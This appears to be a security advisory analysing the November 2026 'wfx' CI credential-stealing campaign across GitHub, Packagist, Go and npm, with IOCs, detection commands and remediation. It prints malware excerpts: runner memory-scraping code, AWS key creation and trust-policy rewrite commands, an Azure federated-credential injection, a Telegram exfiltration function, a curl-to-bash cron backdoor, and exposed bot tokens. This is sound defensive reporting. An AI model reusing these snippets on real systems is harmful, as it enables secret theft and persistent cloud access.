CVE
Not assigned
CWE
CWE-506, CWE-522, CWE-200, CWE-94
Affected Surface
- 8,093+ GitHub repositories (and 63,000+ probed repositories across 4,837 compromised developer and bot accounts, including `nextcloud/docker`, `webdriverio/webdriverio` plus 27 other WebdriverIO repos via `wdio-bot`, `drunomics/nuxtjs-drupal-ce` via `drubot`, `zerosoul/rc-bullets`, `juejin-cn/repo-data`, and `ipfs-shipyard/js-ipld-fixtures`) that received `wfx-docs` pull requests or `ci: refresh build cache`, `chore: add ci helper`, or `chore: add dependency audit workflow` commits between 10 and 12 November 2026
- Packagist `digitalelvis/neuronai-studio` version `v3.14.3` (published 11 November 2026 at `12:29 UTC`, shipping `.ci-e5infq.sh` and a `package.json` `postinstall` hook; fixed in `v3.14.4` on 12 November 2026)
- Go module proxy releases `github.com/vkuznet/gocurl` version `v0.0.0-20261111095532-8d5aad0cb0da` (`8d5aad0cb0da`, still live on `main` and cached on `proxy.golang.org`) and `github.com/onuragtas/redock` / `github.com/onuragtas/docker-env` every even tag from `v1.0.278` to `v1.0.290` (`v1.0.278`, `v1.0.280`, `v1.0.282`, `v1.0.284`, `v1.0.286`, `v1.0.288`, `v1.0.290`; the odd tags `v1.0.279` to `v1.0.291` are clean reverts)
- npm `pdf-html5-page-flip` versions `2.0.1` (removed from the registry on 12 November 2026 at 13:42 UTC) and `2.0.2` (`GHSA-j3hx-5mxx-43qh`, removed from the registry on 12 November 2026), which bundle the GhostAction `dist/lib/fonts/fa-solid-400.woff2` JavaScript credential stealer and `#ghc2` cron backdoor
- AWS IAM roles and users (sessions named `wfx-<pid>`, trust policies rewritten to `"Principal": {"AWS": "*"}`, and new IAM access keys) and Azure Entra ID app registrations (federated identity credentials named `wfx-ci-<n>`) reachable from affected GitHub Actions workflows
TL;DR
Update, 12 November 2026 (evening: more poisoned redock tags, pdf-html5-page-flip@2.0.1 removed, OX Security figures): The onuragtas/redock (docker-env) release pipeline kept getting hit after our first version of this article. Every even tag from v1.0.278 through v1.0.290 ships the 1,730-line Telegram-only wfx payload in .github/workflows/beta.yml: v1.0.284 (51e48de, 08:59 UTC), v1.0.286 (26e444c, 12:47 UTC), v1.0.288 (7edd4a6, 16:06 UTC), and v1.0.290 (25c33cd, 17:18 UTC) join the three tags listed below. Each was followed about a minute later by a ci: restore commit tagged as the next odd version (v1.0.291 is 7c450ed, 17:19 UTC). We earlier listed v1.0.284 as the fix; it is not. The payloads use the same chat (-1004340163187), the same bot tokens, and WF_CALLBACK set to http://127.0.0.1:1/x. Pin to an odd tag and expect more even tags while the maintainer’s token stays compromised. On npm, pdf-html5-page-flip@2.0.1 was removed from the registry on 12 November at 13:42 UTC, leaving only 0.0.0-stage. OX Security now counts more than 66,200 probe PRs (about 58,900 still open), over 4,100 new probes on 12 November alone, at least 1,806 repositories with confirmed exfiltration (Aikido’s count is 1,835), and more than 50 hijacked accounts that publish packages.
Starting at 12:45 UTC on 10 November 2026, an attacker armed with stolen Personal Access Tokens (PATs), bot tokens, and Fly.io GitHub App user-to-server tokens (fly-io, GitHub App ID 34557) across 4,837 compromised GitHub accounts launched an automated CI/CD credential-theft operation tracked by Aikido Security as wfx-loot, by StepSecurity as WFX Phantom, and by SafeDep as wfx:
- 63,000+ probe PRs and 8,093 repositories hit with sub-minute git revert and run deletion: To test write permissions, the operator’s automation opened more than 63,000 pull requests titled
docs: dependency audit notesfrom awfx-docsbranch adding a 2-linedocs/wfx-audit.mdfile (10,431 of which landed in third-party organization or collaborator repositories). Where the token had sufficient rights, the operator pushed a ~1,500-line POSIX shell stealer (wfx) using one of four methods (ci: refresh build cacheinto existing workflows or CI shell scripts such asnextcloud/docker’supdate.sh,chore: add ci helperadding.ci-<6chars>.shplus apackage.jsonpostinstall/build/testhook across 771 repos including 28 WebdriverIO repos viawdio-bot, orchore: add dependency audit workflowadding.github/workflows/build-audit-<6chars>.yml). Within 12 to 60 seconds of the workflow starting, the automation pushedci: restore/ci: cleanuprevert commits and deleted the GitHub Actions workflow run and its logs, leaving only a missing run number in the Actions tab. - Memory scraping of
Runner.Worker, OIDC cloud pivoting, and persistent AWS / Azure backdoors: Even when injected into an ordinary shell script orpackage.jsonpostinstallhook that never touches.github/workflows/*.yml,wfxusespython3(withsudo -nif available) to scan/proc/<pid>/mapsand/proc/<pid>/memofRunner.WorkerandRunner.Listener, extracting decrypted repository and organization secrets directly from runner memory. It also requests GitHub OIDC tokens (ACTIONS_ID_TOKEN_REQUEST_URL) for AWS, Azure, GCP, HashiCorp Vault, and Kubernetes, chains into secondary AWS IAM roles found in the repo, creates permanent IAM user keys (aws iam create-access-key), rewrites chained AWS role trust policies to"Principal": {"AWS": "*"}, and injects federated identity credentials namedwfx-ci-<n>into Azure Entra ID app registrations (POST /v1.0/applications/<id>/federatedIdentityCredentials) so any future workflow on the repo’s default branch can authenticate to Azure without a stored secret. - 12 November shift from HTTP callbacks to Telegram-only exfiltration (
-1004340163187): Samples from 10 and 11 November uploaded gzipped tarballs (wfx-$$.tgz) via HTTP POST tohttp://194.150.166[.]244:8080/exfilorhttp://18.143.168[.]96:8080/exfil. At01:10 UTCon 12 November, the operator rotated to a third server (153.75.82[.]159:8080/exfil) with Telegram as backup, and by05:30 UTCon 12 November switched every new payload to Telegram-only delivery (WF_CALLBACK="http://127.0.0.1:1/x", uploading chunks viasendDocumentto chat-1004340163187across five bot tokens). IP blocklists alone no longer stop exfiltration on current commits. - Spillover into Packagist (
digitalelvis/neuronai-studio), Go modules (vkuznet/gocurl,onuragtas/redock), and npm (pdf-html5-page-flip): Automated release pipelines carried thewfxpayload into Packagistdigitalelvis/neuronai-studiov3.14.3(which ships.ci-e5infq.shand thepackage.jsonpostinstallhook; fixed inv3.14.4on 12 November) and Go modulesgithub.com/vkuznet/gocurl@v0.0.0-20261111095532-8d5aad0cb0daandgithub.com/onuragtas/redock(docker-env) every even tag fromv1.0.278tov1.0.290. Separately, on 12 November (11:33 UTC), GitHub publishedGHSA-j3hx-5mxx-43qhand npm unpublishedpdf-html5-page-flip@2.0.2, a repository hit by the overlapping GhostAction campaign;pdf-html5-page-flip@2.0.1stayed live until it was removed from the registry at13:42 UTCthe same day. Both versions ship the 1,777-bytedist/lib/fonts/fa-solid-400.woff2JavaScript credential stealer and#ghc2cron backdoor (193.32.204[.]199:8080).
What to do now: Search your GitHub repositories and audit logs for wfx-docs branches, docs/wfx-audit.md, commits titled ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow, ci: restore, or ci: cleanup, and gaps in GitHub Actions run numbers since 10 November 2026. If hit, rotate all repository, environment, and organization secrets (not only those referenced in the workflow), audit AWS IAM for wfx-* sessions, new access keys, and "Principal": {"AWS": "*"} trust policies, and audit Azure Entra ID app registrations for wfx-ci-* federated credentials.
Affected packages and repositories
We verified the live status of each affected package against repo.packagist.org, proxy.golang.org, and registry.npmjs.org on 12 November 2026:
| Ecosystem | Package / Repository | Affected versions / commits | Fixed or safe version | First seen (UTC) | Status (12 Nov 2026) |
|---|---|---|---|---|---|
| GitHub Actions | 8,093+ repositories with payload commits (63,000+ with wfx-docs probe PRs), including nextcloud/docker, webdriverio/* (28 repos), drunomics/nuxtjs-drupal-ce, zerosoul/rc-bullets, juejin-cn/repo-data, ipfs-shipyard/js-ipld-fixtures | Commits titled ci: refresh build cache, chore: add ci helper, chore: add dependency audit workflow (2026-11-10 12:46 to 2026-11-12+) | Reverted (ci: restore / ci: cleanup), except uncleaned repos (vkuznet/gocurl, Kellie-Brighty/Suinicate, MattiaPARRINELLO/git-quest, alexappsco/ttra-site) | 2026-11-10 12:45 | Campaign active (Telegram-only mode since 2026-11-12 05:30 UTC) |
| Packagist | digitalelvis/neuronai-studio | v3.14.3 (commit 45da53a47e53, adds .ci-e5infq.sh + package.json postinstall) | v3.14.4 (or <= v3.14.2) | 2026-11-11 12:29:20 | v3.14.4 released on 12 Nov 2026 (94f1349681); v3.14.3 tag still cached on Packagist |
| Go | github.com/vkuznet/gocurl | v0.0.0-20261111095532-8d5aad0cb0da (commit 8d5aad0cb0da, .github/workflows/build.yml) | Pin commit <= 558a3aa (prior to 8d5aad0) | 2026-11-11 09:55:32 | Still live on GitHub main and cached on proxy.golang.org as @latest |
| Go | github.com/onuragtas/redock and github.com/onuragtas/docker-env | v1.0.278 (9fa761d), v1.0.280 (ff0dce7), v1.0.282 (64f0bc4), v1.0.284 (51e48de), v1.0.286 (26e444c), v1.0.288 (7edd4a6), v1.0.290 (25c33cd); v1.0.282 onward are the Telegram variant | None yet; odd tags v1.0.279 to v1.0.291 are clean reverts | 2026-11-11 to 2026-11-12 17:18 | Cached on proxy.golang.org (.github/workflows/beta.yml only; Go source untouched) |
| npm | pdf-html5-page-flip (GHSA-j3hx-5mxx-43qh) | 2.0.1, 2.0.2 (bundles dist/lib/fonts/fa-solid-400.woff2 GhostAction JS stealer) | None (0.0.0-stage only) | 2026-11-10 19:53:46 | 2.0.2 removed from the registry on 12 Nov (11:33 UTC); 2.0.1 removed from the registry on 12 Nov (13:42 UTC) |
Technical analysis
We pulled the raw wfx shell payloads from digitalelvis/neuronai-studio@79de591 (.ci-e5infq.sh, 1,493 lines), masterpranay1/Country-Quiz-Challenge@9b18a65 (.github/workflows/build-audit-m8bnpk.yml, 1,519 lines), and onuragtas/redock@64f0bc4 (.github/workflows/beta.yml, 1,730 lines, Telegram-only variant) alongside the live pdf-html5-page-flip-2.0.1.tgz tarball from registry.npmjs.org and analyzed them statically.
1. Four injection vectors and sub-minute cleanup
The campaign begins with an automated write-access probe: using a stolen GitHub PAT, bot token, or Fly.io GitHub App user-to-server token (performed_via_github_app.slug == "fly-io", ID 34557, observed on 173 probe PRs across 19 accounts), the attacker creates branch wfx-docs, commits docs/wfx-audit.md (git blob ee6e5addfe591923fc385553cb66cf0d25634a6b, containing "Routine supply-chain review notes."), and opens a pull request titled docs: dependency audit notes.
If the token can push to a branch that triggers CI, the operator plants the ~1,500-line shell stealer in one of four places:
- Existing workflow injection (
ci: refresh build cache, 7,309+ repos in SafeDep’s dataset and 21,000+ total commits): Prepends two steps to an existing workflow (.github/workflows/ci.yml,test.yml,build.yml): aPass runtimestep usingactions/github-script@v7that copiesACTIONS_RUNTIME_TOKEN,ACTIONS_RUNTIME_URL,ACTIONS_CACHE_URL, andACTIONS_RESULTS_URLinto$GITHUB_ENV, followed by aRestore cache <4chars>step withWF_SECRETS: "${{ toJSON(secrets) }}"andWF_VARS: "${{ toJSON(vars) }}". - Existing CI shell script injection (
ci: refresh build cache, e.g.,nextcloud/dockerupdate.shandPancrePal-xiaoyibao/MinerU-xybtests/retry_env.sh): Appends the shell script directly to an ordinary.shscript that an existing workflow already executes, avoiding any diff inside.github/workflows/. - Hidden
.ci-<6chars>.sh+package.jsonhook (chore: add ci helper, 771+ repos): Pushes two commits: the first drops.ci-<6chars>.sh(such as.ci-e5infq.shor.ci-a4oytg.sh) at the repository root, and the second prependssh ./.ci-<6chars>.sh >/dev/null 2>&1; _r=$?; if [ "$_r" -eq 42 ]; then exit 42; fitoscripts.postinstall(orbuild/test) inpackage.json. This vector runs both in CI and on any developer workstation that runsnpm installbefore the revert lands. - Standalone workflow on a throwaway branch (
chore: add dependency audit workflow): Commits.github/workflows/build-audit-<6chars>.yml(name: Dependency Audit <4chars>) withpermissions: { contents: read, actions: read, id-token: write, statuses: write }.
As soon as the workflow finishes (typically within 12 to 60 seconds), the automation pushes ci: restore and ci: cleanup to revert the branch and calls DELETE /repos/<owner>/<repo>/actions/runs/<run_id> to erase the workflow run and its logs. Because GitHub Actions increments run_number monotonically per workflow, a missing run number right before a ci: restore run (for example, drunomics/nuxtjs-drupal-ce jumping from run #1963 to #1965) proves that the stealer executed and deleted its own run.
2. Scraping Runner.Worker process memory and forging required status checks
When wfx is injected into package.json (chore: add ci helper) or a repository shell script (update.sh), it cannot pass ${{ toJSON(secrets) }} in a workflow env: block. Instead, Stage 3 of the script (WF_MEMSCAN=1) uses python3 (running via sudo -n if passwordless sudo is available on the runner) to read /proc/<pid>/maps and /proc/<pid>/mem, sorting Runner.Worker and Runner.Listener to the front of the scan list so decrypted secrets held in the runner’s heap are extracted even when never exported to the step’s environment:
# Extracted from .github/workflows/beta.yml @ 64f0bc4 (lines 160-216)
pat = re.compile(rb'(eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{6,}'
rb'|gh[pousr]_[A-Za-z0-9_]{36,}'
rb'|github_pat_[A-Za-z0-9_]{20,}'
rb'|glpat-[A-Za-z0-9_.-]{20,}'
rb'|AKIA[0-9A-Z]{16}'
rb'|sk-ant-[A-Za-z0-9_-]{20,}'
rb'|sk-(proj|svcacct)-[A-Za-z0-9_-]{20,}'
rb'|hf_[A-Za-z0-9]{30,})')
me = str(os.getpid())
pids = []
for maps in glob.glob('/proc/[0-9]*/maps'):
pid = maps.split('/')[2]
if pid == me:
continue
try:
with open('/proc/%s/comm' % pid) as fh:
comm = fh.read().strip()
except Exception:
comm = ''
pids.append((0 if comm in ('Runner.Worker', 'Runner.Listener') else 1, pid, maps))
pids.sort()
for _, pid, maps in pids:
...
mem = open('/proc/%s/mem' % pid, 'rb', buffering=0)
In addition, Stage 2b (lines 102-145) implements a branch-protection bypass (WF_RC_1..N): because classic GitHub branch protection rules match required status checks by context string rather than pinning the GitHub App ID that posted them, a workflow granted statuses: write can POST {"state":"success","context":"<required-check-name>"} to /repos/${WF_REPO}/statuses/${SHA} to satisfy merge gates while the payload is still running.
3. Cloud OIDC escalation and persistent AWS / Azure backdoors
Rather than merely copying static credentials from ~/.aws/credentials, ~/.azure, ~/.config/gcloud, ~/.kube/config, .env, *.tfvars, *.tfstate, and 50+ AI/LLM env vars (OPENAI*, ANTHROPIC*, CLAUDE*, CURSOR*, CODEX*, LITELLM*, WANDB*, HF_*), Stage 7 actively exchanges the workflow’s ACTIONS_ID_TOKEN_REQUEST_URL OIDC token against AWS STS, Azure AD, GCP Workload Identity, HashiCorp Vault, and Kubernetes APIs and plants persistence that survives secret rotation:
# 1. AWS role chaining, permanent IAM key creation, and trust-policy rewrite (lines 784-885)
ARNS=$(grep -rho 'arn:aws:iam::[0-9]\{12\}:role/[A-Za-z0-9+=,.@_/-]*' "$D"/vars_*.json "$D"/secrets_*.json "$D/repo" 2>/dev/null | sort -u | head -2)
for R2 in $ARNS; do
AWS_ACCESS_KEY_ID="$AK" AWS_SECRET_ACCESS_KEY="$SK" AWS_SESSION_TOKEN="$ST" \
timeout 15 aws sts assume-role --role-arn "$R2" --role-session-name "wfx-$$" \
--duration-seconds 3600 --tags "Key=wfx,Value=$$" "Key=repo,Value=${WF_REPO:-unknown}" \
--transitive-tag-keys wfx repo --output json > "$out"
...
done
# Enumerate up to 2 IAM users and create permanent access keys:
aws iam list-users --max-items 5 --output json > "$D/aws_users.json"
aws iam create-access-key --user-name "$UN" --output json > "$D/aws_persist_key_${un}.json"
# Rewrite the chained role's AssumeRolePolicyDocument to allow any AWS principal ("*"):
aws iam update-assume-role-policy --role-name "$RN" \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"*"},"Action":"sts:AssumeRole"}]}'
# 2. Azure Entra ID federated identity credential injection (lines 1162-1192)
SUBJ="repo:${WF_REPO:-unknown}:ref:refs/heads/${WF_REF:-main}"
curl -sS --max-time 20 -o "$D/az_fic_add_$fi2.json" -w '%{http_code}' -X POST \
-H "Authorization: Bearer $AGRAPH" -H "Content-Type: application/json" \
-d "{\"name\":\"wfx-ci-$fi2\",\"issuer\":\"https://token.actions.githubusercontent.com\",\"subject\":\"$SUBJ\",\"audiences\":[\"api://AzureADTokenExchange\"]}" \
"https://graph.microsoft.com/v1.0/applications/$oid/federatedIdentityCredentials"
4. The 12 November switch to Telegram-only exfiltration and spillover into pdf-html5-page-flip
In commits pushed on 12 November (onuragtas/redock@64f0bc4 at 05:19:40 UTC and every sample collected after 05:30 UTC), the attacker disabled HTTP callbacks (WF_CALLBACK: "http://127.0.0.1:1/x") and added Stage 9b (tg_deliver), which includes an Indonesian-language comment (# TG selalu dicoba: tier atas (cache/summary/artifact) boleh sukses, panel tetap dapat salinan, meaning “TG is always tried: upper tiers may succeed, the panel still gets a copy”) and cycles through five hardcoded Telegram bot tokens to upload the archive to chat -1004340163187:
# Extracted from .github/workflows/beta.yml @ 64f0bc4 (lines 1479-1512)
tg_deliver() {
tok="$1"; f="$2"; fn="$3"
resp=$(curl -sS --connect-timeout 15 --max-time 180 -w '\n%{http_code}' \
-F "chat_id=${TG_CHAT}" \
-F "caption=id=${RID} part=${n:-1}/${total:-1} h=${H}" \
-F "document=@${f};filename=${fn}" \
"https://api.telegram.org/bot${tok}/sendDocument" 2>>"$D/errors.log")
code=$(printf '%s' "$resp" | tail -n1)
body=$(printf '%s' "$resp" | sed '$d')
[ "$code" = "200" ] && printf '%s' "$body" | grep -q '"ok"[[:space:]]*:[[:space:]]*true' && return 0
return 1
}
Both Aikido and StepSecurity noted strong victim-account overlap between wfx-loot and the October GhostAction campaign (193.32.204[.]199). On 12 November at 11:33:05 UTC, GitHub published GHSA-j3hx-5mxx-43qh for npm pdf-html5-page-flip@2.0.2 and npm unpublished 2.0.2. However, our static inspection of the live pdf-html5-page-flip@2.0.1 tarball (latest on registry.npmjs.org, SHA-256 33c09eb9e61cf94e33f81268097c6c07841766fadbcfcd3c8690238d08214f47, published 10 November at 19:53:46 UTC) confirms that package/dist/lib/fonts/fa-solid-400.woff2 (1,777 bytes) is not a font file at all, but the GhostAction Node.js credential stealer that harvests .aws/credentials, .pypirc, .npmrc, .git-credentials, .claude/.credentials.json, .gemini/oauth_creds.json, .kube/config, and ~/.ssh/id_*, POSTs them to http://193.32.204[.]199:8080/?c=reinject, and installs a 5-minute root/user cron backdoor (*/5 * * * * curl -s -m 10 http://193.32.204[.]199:8080/c2/$(hostname) | bash >/dev/null 2>&1 #ghc2).
IOCs
- Exfiltration endpoints and callback tokens (defanged):
- HTTP callback servers:
hxxp://194.150.166[.]244:8080/exfil(WF_CTOKEN=b42d70a7aab9140ca19e8249),hxxp://18.143.168[.]96:8080/exfil(WF_CTOKEN=e6ny5telf3pht81qk5zv), andhxxp://153.75.82[.]159:8080/exfil(WF_CTOKEN=15f44heehnax8jdf41yx) - Telegram exfiltration (
WF_TG_CHAT/WF_TG_BOTS): chat ID-1004340163187via bot IDs8708988906(8708988906:AAEUhuTA6uigm_aBwr1RZq4vVmZfcdH48Gk),9196217635(9196217635:AAGMs4Xpp9jc88BFgLrG7eiDJ9Z2185VTFQ),9180059428(9180059428:AAE0sPUWEFHYu0GdmkNosAxSUW6kXSX8zFM),8902935164(8902935164:AAH36TLSoy8AYpj2c-0VCXP2DNfMkjIxYHs), and8876515636(8876515636:AAELKJEqcMp9r6hVB83TZ_lfhlZsnzqNZcQ) - GhostAction C2 embedded in
pdf-html5-page-flip@2.0.1/2.0.2:hxxp://193.32.204[.]199:8080/?c=reinjectandhxxp://193.32.204[.]199:8080/c2/<hostname>
- HTTP callback servers:
- GitHub repository, branch, commit, and file indicators:
- Probe pull request: title
docs: dependency audit notes, branchwfx-docs, filedocs/wfx-audit.md(git blob SHA-1ee6e5addfe591923fc385553cb66cf0d25634a6b) - Payload commit messages:
ci: refresh build cache,chore: add ci helper,chore: add dependency audit workflow,chore: initial commit, followed byci: restoreandci: cleanup - Branch and file patterns:
chore/[a-z0-9]{8},ci-check-[0-9]{4},.ci-[a-z0-9]{6}.sh(e.g.,.ci-e5infq.shSHA-25689695abb392d5cfd4972672961e644bb46baa98aa1ed7173c2a2816c762735cf),.github/workflows/build-audit-[a-z0-9]{6}.yml, staging directory${RUNNER_TEMP:-/tmp}/.wfx-$$
- Probe pull request: title
- Cloud persistence indicators:
- AWS: STS role sessions named
wfx-<pid>, session tagsKey=wfx/Key=repo, IAM role trust policies modified to"Principal": {"AWS": "*"}, and unexpectediam:CreateAccessKeycalls - Azure Entra ID: federated identity credentials named
wfx-ci-1,wfx-ci-2,wfx-ci-3with issuerhttps://token.actions.githubusercontent.com
- AWS: STS role sessions named
Detection and remediation
# 1. Search local git history (including dangling/reverted commits) for wfx commits, files, or markers
git log --all --full-history --grep='ci: refresh build cache\|chore: add ci helper\|chore: add dependency audit workflow\|docs: dependency audit notes' --oneline
git log --all --full-history --stat -- '.ci-*.sh' 'docs/wfx-audit.md' '.github/workflows/build-audit-*.yml'
rg -n 'WF_CALLBACK|WF_CTOKEN|WF_TG_BOTS|-1004340163187|194\.150\.166\.244|18\.143\.168\.96|153\.75\.82\.159' .github/ package.json *.sh 2>/dev/null
# 2. Check Packagist composer.lock, Go go.sum, and npm lockfiles for poisoned package releases
rg -n 'neuronai-studio|"v3\.14\.3"|vkuznet/gocurl|8d5aad0cb0da|onuragtas/(redock|docker-env).*v1\.0\.(278|280|282|284|286|288|290)|pdf-html5-page-flip' \
composer.lock go.mod go.sum package.json package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
# 3. Hunt for AWS and Azure persistence in your cloud accounts
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRoleWithWebIdentity \
--start-time 2026-11-10T00:00:00Z | rg 'wfx-'
az ad app list --all --query "[].{appId:appId, displayName:displayName}" -o tsv 2>/dev/null
- Check for deleted workflow runs and rotate every reachable secret: In any repository that received a
wfxcommit (even if reverted 15 seconds later), check the GitHub Actions tab or organization audit log (action:workflows.delete_workflow_run) for missing run numbers. BecausewfxscrapesRunner.Workermemory, rotate every repository, environment, and organization secret available to the repository, not just secrets referenced in the modified workflow file. - Purge AWS and Azure cloud persistence before relying on secret rotation: In AWS, inspect CloudTrail since
2026-11-10T12:00:00ZforAssumeRoleWithWebIdentity/AssumeRolesessions namedwfx-*, delete any IAM user access keys created by those sessions (CreateAccessKey), and revert any IAM role trust policies (UpdateAssumeRolePolicy) containing"Principal": {"AWS": "*"}. In Azure Entra ID, inspectfederatedIdentityCredentialson all app registrations and delete any credential namedwfx-ci-*. - Revoke compromised developer, bot, and Fly.io GitHub App tokens: For every user or bot account (such as
wdio-botordrubot) that opened awfx-docsPR or authored aci: refresh build cachecommit, revoke all active PATs, OAuth app grants, and GitHub App user-to-server tokens (including reviewing thefly-ioGitHub App grant), and remove branch-protection bypass permissions from automation bots. - Upgrade
digitalelvis/neuronai-studiotov3.14.4(or<= v3.14.2), exclude every evenonuragtas/redock(docker-env) tag fromv1.0.278tov1.0.290(pin an odd tag such asv1.0.291) andvkuznet/gocurl@v0.0.0-20261111095532-8d5aad0cb0da, and removepdf-html5-page-flip(2.0.1/2.0.2, checkingcrontab -lfor#ghc2).
Timeline
- 2026-11-10 (
12:45 UTC): Thewfx/wfx-lootautomation begins openingdocs: dependency audit notesprobe pull requests fromwfx-docsbranches and pushingci: refresh build cacheandchore: add ci helpercommits exfiltrating to194.150.166[.]244:8080and18.143.168[.]96:8080. - 2026-11-10 (
19:53:46 UTC):pdf-html5-page-flip@2.0.1is published to npm carrying thedist/lib/fonts/fa-solid-400.woff2GhostAction credential stealer. - 2026-11-11 (
09:17to12:29 UTC):wfxcommits hitdrunomics/nuxtjs-drupal-ce(09:17 UTC),vkuznet/gocurl(09:55 UTC, cached asv0.0.0-20261111095532-8d5aad0cb0daon the Go module proxy), 19 accounts via the Fly.io GitHub App (10:02to10:36 UTC), anddigitalelvis/neuronai-studio(12:28to12:29 UTC, released to Packagist asv3.14.3), plusnextcloud/docker(update.sh) and 28 WebdriverIO repositories (wdio-bot). - 2026-11-12 (
01:10to05:30 UTC): Operator introduces a third HTTP server (153.75.82[.]159:8080) with Telegram backup (01:10 UTC), then switches all new payloads (onuragtas/redock@64f0bc4/v1.0.282at05:19 UTCand all samples after05:30 UTC) to Telegram-only exfiltration (chat_id=-1004340163187). - 2026-11-12 (
01:45to11:33 UTC): Aikido Security, SafeDep, and StepSecurity publish technical analyses and IOC datasets for the campaign;digitalelvis/neuronai-studioreleases cleanv3.14.4on Packagist; and GitHub publishesGHSA-j3hx-5mxx-43qhforpdf-html5-page-flip@2.0.2. - 2026-11-12 (
08:59to17:19 UTC): Poisonedonuragtas/redocktagsv1.0.284,v1.0.286,v1.0.288, andv1.0.290are pushed, each reverted about a minute later by the next odd tag;pdf-html5-page-flip@2.0.1is removed from the registry at13:42 UTC; OX Security publishes its campaign figures.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Aikido Security (12 November 2026): wfx-loot campaign pushes CI secret stealer to tens of thousands of repositories
- StepSecurity Threat Intel (12 November 2026): WFX Phantom, the GitHub Actions secret stealer that deletes its tracks
- SafeDep Threat Research (12 November 2026): wfx GitHub Actions credential stealer hits 8,000 repos
- SafeDep dataset (12 November 2026): 8,093 affected GitHub repositories and campaign IOCs CSVs
- GitHub Malware Advisory GHSA-j3hx-5mxx-43qh (12 November 2026): Malware in pdf-html5-page-flip (npm)
- OX Security (12 November 2026): Thousands of GitHub accounts hijacked with wfx-loot CI secret-stealing malware